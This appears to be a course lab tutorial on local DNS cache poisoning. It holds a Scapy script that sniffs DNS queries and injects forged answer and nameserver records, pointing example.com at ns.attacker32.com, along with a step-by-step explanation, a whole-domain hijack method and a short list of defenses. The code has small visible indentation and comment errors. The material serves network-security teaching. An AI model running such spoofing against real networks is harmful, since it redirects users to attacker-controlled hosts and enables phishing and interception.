Skip to content

πŸ§ͺ 06-05: Local DNS Cache Poisoning

πŸ“Œ Definition

DNS cache poisoning is an attack where a malicious actor injects false DNS records into a DNS server’s cache.

πŸ‘‰ As a result:

  • Users are redirected to incorrect (attacker-controlled) IP addresses
  • Even though they typed the correct domain name

🧠 Basic Idea

Normal DNS Flow

User β†’ DNS Query β†’ DNS Server β†’ Real IP β†’ User

After Attack

User β†’ DNS Query β†’ Fake reply arrives first β†’ Wrong IP cached β†’ User redirected

πŸ’₯ The DNS server trusts the fake response and stores it in cache


⚠️ Key Concept

DNS commonly uses UDP (connectionless protocol)

πŸ‘‰ This means:

  • No connection handshake
  • Limited verification
  • First valid response may be accepted

πŸ”₯ So the attacker tries to:

β€œSend a fake reply faster than the real DNS server”


πŸ“¦ Conceptual Packet Logic

A forged DNS response mimics a real one by matching key fields:

  • Transaction ID β†’ must match request
  • Source/Destination IP β†’ appears from DNS server
  • Source port β†’ usually 53
  • Question section β†’ copied from request
  • Answer section β†’ contains fake IP
  • Authority section β†’ may redirect domain control

🧾 Simplified Pseudocode

Observe DNS query

If domain matches target:
    Extract domain name
    Create fake IP header
    Create fake UDP header
    Create fake DNS answer record
    Create fake authority record
    Build DNS response matching request
    Send fake response before real one

πŸ’» Code

from scapy.all import *

def spoof_dns(pkt):
    # Step 1: Check if packet contains DNS query
    if DNS in pkt and pkt[DNS].qd is not None:
    qname = pkt[DNS].qd.qname.decode()

        # Step 2: Target specific domain
        if "www.example.com" in qname:
            print("[*] Spoofing:", qname)

            # -------------------------------
            # Step 3: Fake IP header
            # -------------------------------
            IPpkt = IP(
                dst=pkt[IP].src,   # send back to victim
                src=pkt[IP].dst    # pretend to be DNS server
            )

            # -------------------------------
            # Step 4: Fake UDP header
            # -------------------------------
            UDPpkt = UDP(
                dport=pkt[UDP].sport,  # victim port
                sport=53               # DNS port
            )

            # -------------------------------
            # Step 5: Fake Answer (IP)
            # -------------------------------
            Anssec = DNSRR(
                rrname=pkt[DNS].qd.qname,
                type='A',
                rdata='1.2.3.4',   # fake IP
                ttl=259200
            )

            # -------------------------------
            # Step 6: Authority Section (Poisoning)
            # -------------------------------
            NSsec = DNSRR(
                rrname="example.com",
                type='NS',
                rdata='ns.attacker32.com',
                ttl=259200
            )

            # -------------------------------
            # Step 7: Build DNS Response
            # -------------------------------
            DNSpkt = DNS(
                id=pkt[DNS].id,  # must match request
                qr=1,            # response
                aa=1,            # authoritative
                rd=0,

                qd=pkt[DNS].qd,
                qdcount=1,
                ancount=1,
                nscount=1,

                an=Anssec,
                ns=NSsec
            )

            # Step 8: Combine full packet
            spoofpkt = IPpkt / UDPpkt / DNSpkt

            # Step 9: Send fake response
            send(spoofpkt, verbose=0)


Step 10: Sniff DNS traffic
sniff(
    filter="udp port 53",
    prn=spoof_dns,
    store=0
)

🧩 Step-by-Step Explanation

🟒 Step 1: Observe DNS Query

The attacker detects a DNS request for a domain.


🟒 Step 2: Extract Domain Name

Example: www.example.com


🟒 Step 3: Target Specific Domain

Attack is usually limited to chosen domains.


πŸ”΅ Step 4: Forge IP Header

  • Swap source and destination
  • Pretend to be DNS server

πŸ”΅ Step 5: Forge UDP Header

  • Source port = 53
  • Destination port = victim’s port

🟑 Step 6: Create Fake Answer

Example: www.example.com β†’ 1.2.3.4

πŸ‘‰ This is the malicious redirection


πŸ”΄ Step 7: Poison Authority Section

Example: example.com β†’ ns.attacker32.com

πŸ‘‰ This is the powerful part

It tells the DNS server:

β€œTrust this attacker-controlled nameserver”


πŸ“¦ Step 8: Build DNS Response

  • Transaction ID must match
  • Question must match
  • Packet must look legitimate

πŸš€ Step 9: Send Fake Reply

If fake response arrives first β†’ it may be cached


πŸ”„ Step 10: Cache Gets Poisoned

Future requests use incorrect data


🎯 Final Intuition

Component Role in Attack
Question What domain was requested
Answer Provides fake IP
Authority Redirects domain control
Transaction ID Makes packet look valid
UDP Makes spoofing easier

πŸ’₯ What Happens After the Attack

The DNS server may cache:

  • www.example.com β†’ 1.2.3.4
  • example.com β†’ ns.attacker32.com

πŸ‘‰ Future queries are redirected to attacker-controlled systems


🌐 How to Hijack the Entire Domain

🟒 Basic Attack (A Record Only)

www.example.com β†’ fake IP

πŸ‘‰ Only one domain is affected


πŸ”΄ Advanced Attack (Authority / NS Record)

example.com β†’ ns.attacker32.com

πŸ‘‰ Now:

  • www.example.com β†’ attacker
  • mail.example.com β†’ attacker
  • any subdomain β†’ attacker

πŸ’₯ Entire domain is hijacked


πŸ›‘οΈ Defenses

To prevent DNS cache poisoning:

  • DNSSEC β†’ cryptographic verification
  • Random transaction IDs
  • Random source ports
  • Short TTL values
  • Secure DNS resolvers

βœ… Key Takeaway

DNS cache poisoning works by sending a forged DNS response that appears legitimate.

  • If accepted β†’ it is cached
  • If authority is poisoned β†’ entire domain can be controlled

πŸ”₯ Authority section poisoning is far more powerful than simple IP spoofing